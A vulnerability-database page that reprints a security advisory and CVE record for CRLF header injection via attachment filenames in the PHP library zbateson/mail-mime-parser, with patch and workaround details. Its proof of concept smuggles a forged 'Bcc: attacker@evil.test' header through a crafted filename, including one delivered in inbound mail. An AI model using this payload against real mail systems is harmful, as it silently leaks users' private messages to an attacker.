Vulnerability-Lookup

GHSA-36H5-QG4P-Q2QF

Vulnerability from github – Published: 2026-09-24 19:46 – Updated: 2026-09-24 19:46

Summary

zbateson/mail-mime-parser has CRLF header injection via attachment filename

Details

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Severity

7.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "zbateson/mail-mime-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "zbateson/mail-mime-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61815"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-24T19:46:32Z",
    "nvd_published_at": "2026-09-24T18:17:17Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nA CRLF (carriage-return / line-feed) header injection  affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.\n  \nAttachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\\r\\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required \u2014 an application that re-attaches or re-sends a parsed filename is exposed.\n\n### Details\n\nOn the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv(\u0027UTF-8\u0027,\u0027US-ASCII//translit//ignore\u0027, $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\\r\\nBcc: attacker@evil.test` therefore serializes as:\n\n```\nContent-Disposition: attachment;\n filename=\"doc\nBcc: attacker@evil.test\"\n```\n\nThe `filename` value closes after `doc`, and `Bcc: attacker@evil.test` stands as its own header line.\n\nThe decode side is affected as well, which is what makes purely inbound exploitation possible:\n\n- `ParameterPart::decodePartValue()` `rawurldecode()`s an RFC 2231 `filename*=` parameter with no control-character stripping, so\n  a crafted `filename*=utf-8\u0027\u0027doc%0D%0ABcc:...` makes `getFilename()` return a string with embedded `\\r\\n`.\n- The RFC 2047 path (`MimeToken`) strips `\\r`/`\\n` from the *encoded* word, but then base64/quoted-printable-decodes it, which\n  can reintroduce CR/LF into the decoded value.\n\nAs a result `getFilename()` can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.\n\n### Proof of concept\n\n```php\ncomposer require zbateson/mail-mime-parser\n\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\nuse ZBateson\\MailMimeParser\\MailMimeParser;\nuse ZBateson\\MailMimeParser\\Message;\n\n$parser = new MailMimeParser();\n\nfunction attachAndReport(string $filename): void {\n    $out = Message::from(\"From: me@host\\r\\nContent-Type: text/plain\\r\\n\\r\\nhi\\r\\n\", false);\n    $out-\u003eaddAttachmentPart(\u0027payload\u0027, \u0027application/octet-stream\u0027, $filename);\n    echo (strpos($out-\u003e__toString(), \"\\r\\nBcc: attacker@evil.test\") !== false)\n        ? \"INJECTED\\n\" : \"clean\\n\";\n}\n\nattachAndReport(\u0027invoice.pdf\u0027);                    // =\u003e clean\nattachAndReport(\"doc\\r\\nBcc: attacker@evil.test\"); // =\u003e INJECTED\n\n// The CRLF reaches getFilename() straight from parsed mail via an\n// RFC 2231 filename*= parameter, so no local construction is needed:\n$inbound = \"Content-Type: multipart/mixed; boundary=b\\r\\n\\r\\n\"\n    . \"--b\\r\\nContent-Type: application/octet-stream\\r\\n\"\n    . \"Content-Disposition: attachment; filename*=utf-8\u0027\u0027doc%0D%0ABcc:%20attacker@evil.test\\r\\n\\r\\n\"\n    . base64_encode(\u0027data\u0027) . \"\\r\\n--b--\\r\\n\";\n$fn = $parser-\u003eparse($inbound, false)-\u003egetAllAttachmentParts()[0]-\u003egetFilename();\nvar_dump($fn);        // =\u003e string(28) \"doc\\r\\nBcc: attacker@evil.test\"\nattachAndReport($fn); // =\u003e INJECTED\n```\n\n### Patches\n\nFixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.\n\nVersions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.\n\n### Workarounds\n\nIf upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message \u2014 e.g. preg_replace(\u0027/[\\r\\n]+/\u0027, \u0027 \u0027, $filename).\n\n- Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.",
  "id": "GHSA-36h5-qg4p-q2qf",
  "modified": "2026-09-24T19:46:32Z",
  "published": "2026-09-24T19:46:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zbateson/mail-mime-parser/security/advisories/GHSA-36h5-qg4p-q2qf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61815"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zbateson/mail-mime-parser/commit/81859c06abb5d79f04b7a3254d293d0a91065948"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zbateson/mail-mime-parser/commit/d2970b5df266f62e5ee8e675bfb05502b70fc6e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zbateson/mail-mime-parser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zbateson/mail-mime-parser/releases/tag/3.0.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zbateson/mail-mime-parser/releases/tag/4.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "zbateson/mail-mime-parser has CRLF header injection via attachment filename"
}

CVE-2026-61815 (GCVE-0-2026-61815)

Vulnerability from cvelistv5 – Published: 2026-09-24 17:53 – Updated: 2026-09-24 17:53

Title

zbateson/mail-mime-parser has CRLF header injection via attachment filename

Summary

zbateson/mail-mime-parser is a mail mime parser alternative to PHP's imap* functions and Pear libraries for reading messages in Internet Message Format RFC 822. Prior to version 3.0.6 and 4.0.2, CRLF (carriage-return / line-feed) header injection (CWE-93) affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename. Attachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\r\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed. Versions 3.0.6 and 4.0.2 patch the issue. Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

Severity

7.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

CWE

CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/zbateson/mail-mime-parser/secu…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
zbateson	mail-mime-parser	Affected: < 3.0.6 Affected: >= 4.0.0, < 4.0.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "mail-mime-parser",
          "vendor": "zbateson",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.0.6"
            },
            {
              "status": "affected",
              "version": "\u003e= 4.0.0, \u003c 4.0.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "zbateson/mail-mime-parser is a mail mime parser alternative to PHP\u0027s imap* functions and Pear libraries for reading messages in Internet Message Format RFC 822. Prior to version 3.0.6 and 4.0.2, CRLF (carriage-return / line-feed) header injection (CWE-93) affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename. Attachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\\r\\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required \u2014 an application that re-attaches or re-sends a parsed filename is exposed. Versions 3.0.6 and 4.0.2 patch the issue. Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message \u2014 e.g. preg_replace(\u0027/[\\r\\n]+/\u0027, \u0027 \u0027, $filename)."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-93",
              "description": "CWE-93: Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-24T17:53:32.355Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/zbateson/mail-mime-parser/security/advisories/GHSA-36h5-qg4p-q2qf",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/zbateson/mail-mime-parser/security/advisories/GHSA-36h5-qg4p-q2qf"
        }
      ],
      "source": {
        "advisory": "GHSA-36h5-qg4p-q2qf",
        "discovery": "UNKNOWN"
      },
      "title": "zbateson/mail-mime-parser has CRLF header injection via attachment filename"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-61815",
    "datePublished": "2026-09-24T17:53:32.355Z",
    "dateReserved": "2026-07-10T20:17:57.992Z",
    "dateUpdated": "2026-09-24T17:53:32.355Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-36H5-QG4P-Q2QF

Impact

Details

Proof of concept

Patches

Workarounds

CVE-2026-61815 (GCVE-0-2026-61815)

Tags

Sightings

Nomenclature

Related by attack behaviour